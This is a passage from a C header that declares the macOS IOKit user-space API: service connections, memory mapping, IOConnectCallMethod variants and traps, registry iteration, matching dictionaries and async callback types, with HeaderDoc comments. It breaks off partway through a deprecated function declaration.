/*! @function IOServiceRequestProbe
    @abstract A request to rescan a bus for device changes.
    @discussion A non kernel client may request a bus or controller rescan for added or removed devices, if the bus family does automatically notice such changes. For example, SCSI bus controllers do not notice device changes. The implementation of this routine is family dependent, and the default IOService implementation returns kIOReturnUnsupported.
    @param service The IOService object to request a rescan, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs.
    @param options An options mask, interpreted only by the IOService's family.
    @result A return code generated by IOService::requestProbe. */

kern_return_t
IOServiceRequestProbe(
	io_service_t    service,
	uint32_t	options );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IOService connection
 */

/*! @function IOServiceClose
    @abstract Close a connection to an IOService and destroy the connect handle.
    @discussion A connection created with the IOServiceOpen should be closed when the connection is no longer to be used with IOServiceClose.
    @param connect The connect handle created by IOServiceOpen. It will be destroyed by this function, and should not be released with IOObjectRelease.
    @result A kern_return_t error code. */

kern_return_t
IOServiceClose(
	io_connect_t	connect );

/*! @function IOConnectAddRef
    @abstract Adds a reference to the connect handle.
    @discussion Adds a reference to the connect handle.
    @param connect The connect handle created by IOServiceOpen.
    @result A kern_return_t error code. */

kern_return_t
IOConnectAddRef(
	io_connect_t	connect );

/*! @function IOConnectRelease
    @abstract Remove a reference to the connect handle.
    @discussion Removes a reference to the connect handle.  If the last reference is removed an implicit IOServiceClose is performed.
    @param connect The connect handle created by IOServiceOpen.
    @result A kern_return_t error code. */

kern_return_t
IOConnectRelease(
	io_connect_t	connect );

/*! @function IOConnectGetService
    @abstract Returns the IOService a connect handle was opened on.
    @discussion Finds the service object a connection was opened on.
    @param connect The connect handle created by IOServiceOpen.
    @param service On succes, the service handle the connection was opened on, which should be released with IOObjectRelease.
    @result A kern_return_t error code. */

kern_return_t
IOConnectGetService(
	io_connect_t	connect,
	io_service_t  *	service );

/*! @function IOConnectSetNotificationPort
    @abstract Set a port to receive family specific notifications.
    @discussion This is a generic method to pass a mach port send right to be be used by family specific notifications. 
    @param connect The connect handle created by IOServiceOpen.
    @param type The type of notification requested, not interpreted by IOKit and family defined.
    @param port The port to which to send notifications.
    @param reference Some families may support passing a reference parameter for the callers use with the notification.
    @result A kern_return_t error code. */

kern_return_t
IOConnectSetNotificationPort(
	io_connect_t	connect,
	uint32_t	type,
	mach_port_t	port,
	uintptr_t	reference );

/*! @function IOConnectMapMemory
    @abstract Map hardware or shared memory into the caller's task.
    @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller.
    @param connect The connect handle created by IOServiceOpen.
    @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings.
    @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection.
    @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess.
    @param ofSize The size of the mapping created is passed back on success.
    @result A kern_return_t error code. */

#if !__LP64__
kern_return_t
IOConnectMapMemory(
	io_connect_t	connect,
	uint32_t	memoryType,
	task_port_t	intoTask,
	vm_address_t	*atAddress,
	vm_size_t	*ofSize,
	IOOptionBits	 options );

kern_return_t IOConnectMapMemory64
#else
kern_return_t IOConnectMapMemory
#endif
	(io_connect_t		connect,
	 uint32_t		memoryType,
	 task_port_t		intoTask,
	 mach_vm_address_t	*atAddress,
	 mach_vm_size_t		*ofSize,
	 IOOptionBits		 options );

/*! @function IOConnectUnmapMemory
    @abstract Remove a mapping made with IOConnectMapMemory.
    @discussion This is a generic method to remove a mapping in the callers task.
    @param connect The connect handle created by IOServiceOpen.
    @param memoryType The memory type originally requested in IOConnectMapMemory.
    @param intoTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection.
    @param atAddress The address of the mapping to be removed.
    @result A kern_return_t error code. */

#if !__LP64__
kern_return_t
IOConnectUnmapMemory(
	io_connect_t	connect,
	uint32_t	memoryType,
	task_port_t	fromTask,
	vm_address_t	atAddress );

kern_return_t IOConnectUnmapMemory64
#else
kern_return_t IOConnectUnmapMemory
#endif
	(io_connect_t		connect,
	 uint32_t		memoryType,
	 task_port_t		fromTask,
	 mach_vm_address_t	atAddress );

/*! @function IOConnectSetCFProperties
    @abstract Set CF container based properties on a connection.
    @discussion This is a generic method to pass a CF container of properties to the connection. The properties are interpreted by the family and commonly represent configuration settings, but may be interpreted as anything.
    @param connect The connect handle created by IOServiceOpen.
    @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
    @result A kern_return_t error code returned by the family. */

kern_return_t
IOConnectSetCFProperties(
	io_connect_t	connect,
	CFTypeRef	properties );

/*! @function IOConnectSetCFProperty
    @abstract Set a CF container based property on a connection.
    @discussion This is a generic method to pass a CF property to the connection. The property is interpreted by the family and commonly represent configuration settings, but may be interpreted as anything.
    @param connect The connect handle created by IOServiceOpen.
    @param propertyName The name of the property as a CFString.
    @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
    @result A kern_return_t error code returned by the object. */

kern_return_t
IOConnectSetCFProperty(
	io_connect_t	connect,
        CFStringRef	propertyName,
	CFTypeRef	property );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

// Combined LP64 & ILP32 Extended IOUserClient::externalMethod

kern_return_t
IOConnectCallMethod(
	mach_port_t	 connection,		// In
	uint32_t	 selector,		// In
	const uint64_t	*input,			// In
	uint32_t	 inputCnt,		// In
	const void      *inputStruct,		// In
	size_t		 inputStructCnt,	// In
	uint64_t	*output,		// Out
	uint32_t	*outputCnt,		// In/Out
	void		*outputStruct,		// Out
	size_t		*outputStructCnt)	// In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

kern_return_t
IOConnectCallAsyncMethod(
	mach_port_t	 connection,		// In
	uint32_t	 selector,		// In
	mach_port_t	 wake_port,		// In
	uint64_t	*reference,		// In
	uint32_t	 referenceCnt,		// In
	const uint64_t	*input,			// In
	uint32_t	 inputCnt,		// In
	const void	*inputStruct,		// In
	size_t		 inputStructCnt,	// In
	uint64_t	*output,		// Out
	uint32_t	*outputCnt,		// In/Out
	void		*outputStruct,		// Out
	size_t		*outputStructCnt)	// In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

kern_return_t
IOConnectCallStructMethod(
	mach_port_t	 connection,		// In
	uint32_t	 selector,		// In
	const void	*inputStruct,		// In
	size_t		 inputStructCnt,	// In
	void		*outputStruct,		// Out
	size_t		*outputStructCnt)	// In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

kern_return_t
IOConnectCallAsyncStructMethod(
	mach_port_t	 connection,		// In
	uint32_t	 selector,		// In
	mach_port_t	 wake_port,		// In
	uint64_t	*reference,		// In
	uint32_t	 referenceCnt,		// In
	const void	*inputStruct,		// In
	size_t		 inputStructCnt,	// In
	void		*outputStruct,		// Out
	size_t		*outputStructCnt)	// In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

kern_return_t
IOConnectCallScalarMethod(
	mach_port_t	 connection,		// In
	uint32_t	 selector,		// In
	const uint64_t	*input,			// In
	uint32_t	 inputCnt,		// In
	uint64_t	*output,		// Out
	uint32_t	*outputCnt)		// In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

kern_return_t
IOConnectCallAsyncScalarMethod(
	mach_port_t	 connection,		// In
	uint32_t	 selector,		// In
	mach_port_t	 wake_port,		// In
	uint64_t	*reference,		// In
	uint32_t	 referenceCnt,		// In
	const uint64_t	*input,			// In
	uint32_t	 inputCnt,		// In
	uint64_t	*output,		// Out
	uint32_t	*outputCnt)		// In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

kern_return_t
IOConnectTrap0(io_connect_t	connect,
	       uint32_t		index );

kern_return_t
IOConnectTrap1(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1 );

kern_return_t
IOConnectTrap2(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1,
	       uintptr_t	p2);

kern_return_t
IOConnectTrap3(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1,
	       uintptr_t	p2,
	       uintptr_t	p3);

kern_return_t
IOConnectTrap4(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1,
	       uintptr_t	p2,
	       uintptr_t	p3,
	       uintptr_t	p4);

kern_return_t
IOConnectTrap5(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1,
	       uintptr_t	p2,
	       uintptr_t	p3,
	       uintptr_t	p4,
	       uintptr_t	p5);

kern_return_t
IOConnectTrap6(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1,
	       uintptr_t	p2,
	       uintptr_t	p3,
	       uintptr_t	p4,
	       uintptr_t	p5,
	       uintptr_t	p6);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*! @function IOConnectAddClient
    @abstract Inform a connection of a second connection.
    @discussion This is a generic method to inform a family connection of a second connection, and is rarely used.
    @param connect The connect handle created by IOServiceOpen.
    @param client Another connect handle created by IOServiceOpen.
    @result A kern_return_t error code returned by the family. */

kern_return_t
IOConnectAddClient(
	io_connect_t	connect,
	io_connect_t	client );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IORegistry accessors
 */

/*! @function IORegistryGetRootEntry
    @abstract Return a handle to the registry root.
    @discussion This method provides an accessor to the root of the registry for the machine. The root may be passed to a registry iterator when iterating a plane, and contains properties that describe the available planes, and diagnostic information for IOKit.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @result A handle to the IORegistryEntry root instance, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */

io_registry_entry_t
IORegistryGetRootEntry(
	mach_port_t	masterPort );

/*! @function IORegistryEntryFromPath
    @abstract Looks up a registry entry by path.
    @discussion This function parses paths to lookup registry entries. The path should begin with '<plane name>:' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param path A C-string path.
    @result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */

io_registry_entry_t
IORegistryEntryFromPath(
	mach_port_t		masterPort,
	const io_string_t	path );

// options for IORegistryCreateIterator(), IORegistryEntryCreateIterator, IORegistryEntrySearchCFProperty()
enum {
    kIORegistryIterateRecursively	= 0x00000001,
    kIORegistryIterateParents		= 0x00000002
};

/*! @function IORegistryCreateIterator
    @abstract Create an iterator rooted at the registry root.
    @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children of the registry root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. 
    @param iterator A created iterator handle, to be released by the caller when it has finished with it.
    @result A kern_return_t error code. */

kern_return_t
IORegistryCreateIterator(
	mach_port_t	masterPort,
	const io_name_t	plane,
	IOOptionBits	options,
	io_iterator_t * iterator );

/*! @function IORegistryEntryCreateIterator
    @abstract Create an iterator rooted at a given registry entry.
    @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children or parents of a root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops.
    @param entry The root entry to begin the iteration at.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. kIORegistryIterateParents may be set to iterate the parents of each entry, by default the children are iterated.
    @param iterator A created iterator handle, to be released by the caller when it has finished with it.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryCreateIterator(
	io_registry_entry_t	entry,
	const io_name_t		plane,
	IOOptionBits		options,
	io_iterator_t 	      * iterator );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IORegistryIterator, subclass of IOIterator
 */

/*! @function IORegistryIteratorEnterEntry
    @abstract Recurse into the current entry in the registry iteration.
    @discussion This method makes the current entry, ie. the last entry returned by IOIteratorNext, the root in a new level of recursion.
    @result A kern_return_t error code. */

kern_return_t
IORegistryIteratorEnterEntry(
	io_iterator_t	iterator );

/*! @function IORegistryIteratorExitEntry
    @abstract Exits a level of recursion, restoring the current entry.
    @discussion This method undoes an IORegistryIteratorEnterEntry, restoring the current entry. If there are no more levels of recursion to exit false is returned, otherwise true is returned.
    @result kIOReturnSuccess if a level of recursion was undone, kIOReturnNoDevice if no recursive levels are left in the iteration. */

kern_return_t
IORegistryIteratorExitEntry(
	io_iterator_t	iterator );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * IORegistryEntry, subclass of IOObject
 */

/*! @function IORegistryEntryGetName
    @abstract Returns a C-string name assigned to a registry entry.
    @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's global name. The global name defaults to the entry's meta class name if it has not been named.
    @param entry The registry entry handle whose name to look up.
    @param name The caller's buffer to receive the name.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryGetName(
	io_registry_entry_t	entry,
	io_name_t 	        name );

/*! @function IORegistryEntryGetNameInPlane
    @abstract Returns a C-string name assigned to a registry entry, in a specified plane.
    @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's name in the specified plane or global name if it has not been named in that plane. The global name defaults to the entry's meta class name if it has not been named.
    @param entry The registry entry handle whose name to look up.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param name The caller's buffer to receive the name.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryGetNameInPlane(
	io_registry_entry_t	entry,
	const io_name_t 	plane,
	io_name_t 	        name );

/*! @function IORegistryEntryGetLocationInPlane
    @abstract Returns a C-string location assigned to a registry entry, in a specified plane.
    @discussion Registry entries can given a location string in a particular plane, or globally. If the entry has had a location set in the specified plane that location string will be returned, otherwise the global location string is returned. If no global location string has been set, an error is returned.
    @param entry The registry entry handle whose name to look up.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param location The caller's buffer to receive the location string.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryGetLocationInPlane(
	io_registry_entry_t	entry,
	const io_name_t 	plane,
	io_name_t 	        location );

/*! @function IORegistryEntryGetPath
    @abstract Create a path for a registry entry.
    @discussion The path for a registry entry is copied to the caller's buffer. The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available.
    @param entry The registry entry handle whose path to look up.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param path A char buffer allocated by the caller.
    @result IORegistryEntryGetPath will fail if the entry is not attached in the plane, or if the buffer is not large enough to contain the path. */

kern_return_t
IORegistryEntryGetPath(
	io_registry_entry_t	entry,
	const io_name_t         plane,
	io_string_t		path );

/*! @function IORegistryEntryCreateCFProperties
    @abstract Create a CF dictionary representation of a registry entry's property table.
    @discussion This function creates an instantaneous snapshot of a registry entry's property table, creating a CFDictionary analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. 
    @param entry The registry entry handle whose property table to copy.
    @param properties A CFDictionary is created and returned the caller on success. The caller should release with CFRelease.
    @param allocator The CF allocator to use when creating the CF containers.
    @param options No options are currently defined.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryCreateCFProperties(
	io_registry_entry_t	entry,
	CFMutableDictionaryRef * properties,
        CFAllocatorRef		allocator,
	IOOptionBits		options );

/*! @function IORegistryEntryCreateCFProperty
    @abstract Create a CF representation of a registry entry's property.
    @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. 
    @param entry The registry entry handle whose property to copy.
    @param key A CFString specifying the property name.
    @param allocator The CF allocator to use when creating the CF container.
    @param options No options are currently defined.
    @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */

CFTypeRef
IORegistryEntryCreateCFProperty(
	io_registry_entry_t	entry,
	CFStringRef		key,
        CFAllocatorRef		allocator,
	IOOptionBits		options );

/*! @function IORegistryEntrySearchCFProperty
    @abstract Create a CF representation of a registry entry's property.
    @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. 
This function will search for a property, starting first with specified registry entry's property table, then iterating recusively through either the parent registry entries or the child registry entries of this entry. Once the first occurrence is found, it will lookup and return the value of the property, using the same semantics as IORegistryEntryCreateCFProperty. The iteration keeps track of entries that have been recursed into previously to avoid loops.
    @param entry The registry entry at which to start the search.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param key A CFString specifying the property name.
    @param allocator The CF allocator to use when creating the CF container.
    @param options kIORegistryIterateRecursively may be set to recurse automatically into the registry hierarchy. Without this option, this method degenerates into the standard IORegistryEntryCreateCFProperty() call. kIORegistryIterateParents may be set to iterate the parents of the entry, in place of the children.
    @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */

CFTypeRef
IORegistryEntrySearchCFProperty(
	io_registry_entry_t	entry,
	const io_name_t		plane,
	CFStringRef		key,
        CFAllocatorRef		allocator,
	IOOptionBits		options );

/*  @function IORegistryEntryGetProperty - deprecated,
    use IORegistryEntryCreateCFProperty */

kern_return_t
IORegistryEntryGetProperty(
	io_registry_entry_t	entry,
	const io_name_t		propertyName,
	io_struct_inband_t	buffer,
	uint32_t	      * size );

/*! @function IORegistryEntrySetCFProperties
    @abstract Set CF container based properties in a registry entry.
    @discussion This is a generic method to pass a CF container of properties to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperties for connection based property setting. The properties are interpreted by the object.
    @param entry The registry entry whose properties to set.
    @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
    @result A kern_return_t error code returned by the object. */

kern_return_t
IORegistryEntrySetCFProperties(
	io_registry_entry_t	entry,
	CFTypeRef	 	properties );

/*! @function IORegistryEntrySetCFProperty
    @abstract Set a CF container based property in a registry entry.
    @discussion This is a generic method to pass a CF container as a property to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperty for connection based property setting. The property is interpreted by the object.
    @param entry The registry entry whose property to set.
    @param propertyName The name of the property as a CFString.
    @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
    @result A kern_return_t error code returned by the object. */

kern_return_t
IORegistryEntrySetCFProperty(
	io_registry_entry_t	entry,
        CFStringRef		propertyName,
	CFTypeRef	 	property );

/*! @function IORegistryEntryGetChildIterator
    @abstract Returns an iterator over an registry entry's child entries in a plane.
    @discussion This method creates an iterator which will return each of a registry entry's child entries in a specified plane.
    @param entry The registry entry whose children to iterate over.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param iterator The created iterator over the children of the entry, on success. The iterator must be released when the iteration is finished.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryGetChildIterator(
	io_registry_entry_t	entry,
	const io_name_t		plane,
	io_iterator_t	      * iterator );

/*! @function IORegistryEntryGetChildEntry
    @abstract Returns the first child of a registry entry in a plane.
    @discussion This function will return the child which first attached to a registry entry in a plane.
    @param entry The registry entry whose child to look up.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param child The first child of the registry entry, on success. The child must be released by the caller.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryGetChildEntry(
	io_registry_entry_t	entry,
	const io_name_t		plane,
	io_registry_entry_t   * child );

/*! @function IORegistryEntryGetParentIterator
    @abstract Returns an iterator over an registry entry's parent entries in a plane.
    @discussion This method creates an iterator which will return each of a registry entry's parent entries in a specified plane.
    @param entry The registry entry whose parents to iterate over.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param iterator The created iterator over the parents of the entry, on success. The iterator must be released when the iteration is finished.
    @result A kern_return_t error. */

kern_return_t
IORegistryEntryGetParentIterator(
	io_registry_entry_t	entry,
	const io_name_t		plane,
	io_iterator_t	      * iterator );

/*! @function IORegistryEntryGetParentEntry
    @abstract Returns the first parent of a registry entry in a plane.
    @discussion This function will return the parent to which the registry entry was first attached in a plane.
    @param entry The registry entry whose parent to look up.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @param child The first parent of the registry entry, on success. The parent must be released by the caller.
    @result A kern_return_t error code. */

kern_return_t
IORegistryEntryGetParentEntry(
	io_registry_entry_t	entry,
	const io_name_t		plane,
	io_registry_entry_t   * parent );

/*! @function IORegistryEntryInPlane
    @abstract Determines if the registry entry is attached in a plane.
    @discussion This method determines if the entry is attached in a plane to any other entry.
    @param entry The registry entry.
    @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
    @result If the entry has a parent in the plane, true is returned, otherwise false is returned. */

boolean_t
IORegistryEntryInPlane(
	io_registry_entry_t	entry,
	const io_name_t		plane );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*
 * Matching dictionary creation helpers
 */

/*! @function IOServiceMatching
    @abstract Create a matching dictionary that specifies an IOService class match.
    @discussion A very common matching criteria for IOService is based on its class. IOServiceMatching will create a matching dictionary that specifies any IOService of a class, or its subclasses. The class is specified by C-string name.
    @param name The class name, as a const C-string. Class matching is successful on IOService's of this class or any subclass.
    @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */

CFMutableDictionaryRef
IOServiceMatching(
	const char *	name );

/*! @function IOServiceNameMatching
    @abstract Create a matching dictionary that specifies an IOService name match.
    @discussion A common matching criteria for IOService is based on its name. IOServiceNameMatching will create a matching dictionary that specifies an IOService with a given name. Some IOServices created from the OpenFirmware device tree will perform name matching on the standard OF compatible, name, model properties.
    @param name The IOService name, as a const C-string.
    @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */

CFMutableDictionaryRef
IOServiceNameMatching(
	const char *	name );

/*! @function IOBSDNameMatching
    @abstract Create a matching dictionary that specifies an IOService match based on BSD device name.
    @discussion IOServices that represent BSD devices have an associated BSD name. This function creates a matching dictionary that will match IOService's with a given BSD name.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param options No options are currently defined.
    @param bsdName The BSD name, as a const char *.
    @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */

CFMutableDictionaryRef
IOBSDNameMatching(
	mach_port_t	masterPort,
	uint32_t	options,
	const char *	bsdName );

/*! @function IOOpenFirmwarePathMatching
    @abstract Create a matching dictionary that specifies an IOService match based on  an OpenFirmware device path.
    @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function creates a matching dictionary that will match IOService's found with a given OpenFirmware device path.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param options No options are currently defined.
    @param path The OpenFirmware device path, as a const char *.
    @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */

CFMutableDictionaryRef
IOOpenFirmwarePathMatching(
	mach_port_t	masterPort,
	uint32_t	options,
	const char *	path );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*! @function IOServiceOFPathToBSDName
    @abstract Utility to look up an IOService from its OpenFirmware device path, and return its BSD device name if available.
    @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function looks up an IOService object with a given OpenFirmware device path, and returns its associated BSD device name.
    @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
    @param openFirmwarePath The OpenFirmware device path, as a const char *.
    @param bsdName The BSD name, as a const char *, is copied to the callers buffer.
    @result A kern_return_t error code. */

kern_return_t
IOServiceOFPathToBSDName(mach_port_t		masterPort,
                         const io_name_t	openFirmwarePath,
                         io_name_t		bsdName);
						 
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*! @typedef IOAsyncCallback0
    @abstract standard callback function for asynchronous I/O requests with
    no extra arguments beyond a refcon and result code.
    @param refcon The refcon passed into the original I/O request
    @param result The result of the I/O operation
*/
typedef void (*IOAsyncCallback0)(void *refcon, IOReturn result);

/*! @typedef IOAsyncCallback1
    @abstract standard callback function for asynchronous I/O requests with
    one extra argument beyond a refcon and result code.
    This is often a count of the number of bytes transferred
    @param refcon The refcon passed into the original I/O request
    @param result The result of the I/O operation
    @param arg0	Extra argument
*/
typedef void (*IOAsyncCallback1)(void *refcon, IOReturn result, void *arg0);

/*! @typedef IOAsyncCallback2
    @abstract standard callback function for asynchronous I/O requests with
    two extra arguments beyond a refcon and result code.
    @param refcon The refcon passed into the original I/O request
    @param result The result of the I/O operation
    @param arg0	Extra argument
    @param arg1	Extra argument
*/
typedef void (*IOAsyncCallback2)(void *refcon, IOReturn result, void *arg0, void *arg1);

/*! @typedef IOAsyncCallback
    @abstract standard callback function for asynchronous I/O requests with
    lots of extra arguments beyond a refcon and result code.
    @param refcon The refcon passed into the original I/O request
    @param result The result of the I/O operation
    @param args	Array of extra arguments
    @param numArgs Number of extra arguments
*/
typedef void (*IOAsyncCallback)(void *refcon, IOReturn result, void **args,
                                uint32_t numArgs);


/* Internal use */

kern_return_t
OSGetNotificationFromMessage(
	mach_msg_header_t     * msg,
	uint32_t	  	index,
        uint32_t    	      * type,
        uintptr_t	      * reference,
	void		     ** content,
        vm_size_t	      * size );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/* Internal use */

kern_return_t
IOCatalogueSendData(
        mach_port_t             masterPort,
        uint32_t                flag,
        const char             *buffer,
        uint32_t                size );

kern_return_t
IOCatalogueTerminate(
        mach_port_t		masterPort,
        uint32_t                flag,
	io_name_t		description );

kern_return_t
IOCatalogueGetData(
        mach_port_t             masterPort,
        uint32_t                flag,
        char                  **buffer,
        uint32_t               *size );

kern_return_t
IOCatalogueModuleLoaded(
        mach_port_t             masterPort,
        io_name_t               name );

kern_return_t
IOCatalogueReset(
        mach_port_t             masterPort,
        uint32_t                flag );

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

// obsolete API

#if !defined(__LP64__)

// for Power Mgt

typedef struct IOObject IOObject;

// for MacOS.app

kern_return_t
IORegistryDisposeEnumerator(
	io_enumerator_t	enumerator ) DEPRECATED_ATTRIBUTE;

kern_return_t
IOMapMemory(
	io_connect_t	connect,
	uint32_t	memoryType,
	task_port_t	intoTask,
	vm_address_t *	atAddress,
	vm_size_t    *	ofSize,
	uint32_t	flags ) DEPRECATED_ATTRIBUTE;

// for CGS

kern_return_t
IOCompatibiltyNumber(
	mach_port_t	connect,
	uint32_t *	objectNumber ) DEPRECATED_ATTRIBUTE;

// Traditional IOUserClient transport routines
kern_return_t
IOConnectMethodScalarIScalarO( 
	io_connect_t	connect,
        uint32_t	index,
        IOItemCount	scalarInputCount,
        IOItemCount	scalarOutputCount,
        ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;

kern_return_t
IOConnectMethodScalarIStructureO(
	io_connect_t	connect,
        uint32_t	index,
        IOItemCount	scalarInputCount,
        IOByteCount *	structureSize,
        ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5;

kern_return_t
IOConnectMethodScalarIStructureI(
	io_connect_t	connect,
        uint32_t	index,
        IOItemCount	scalarInputCount,
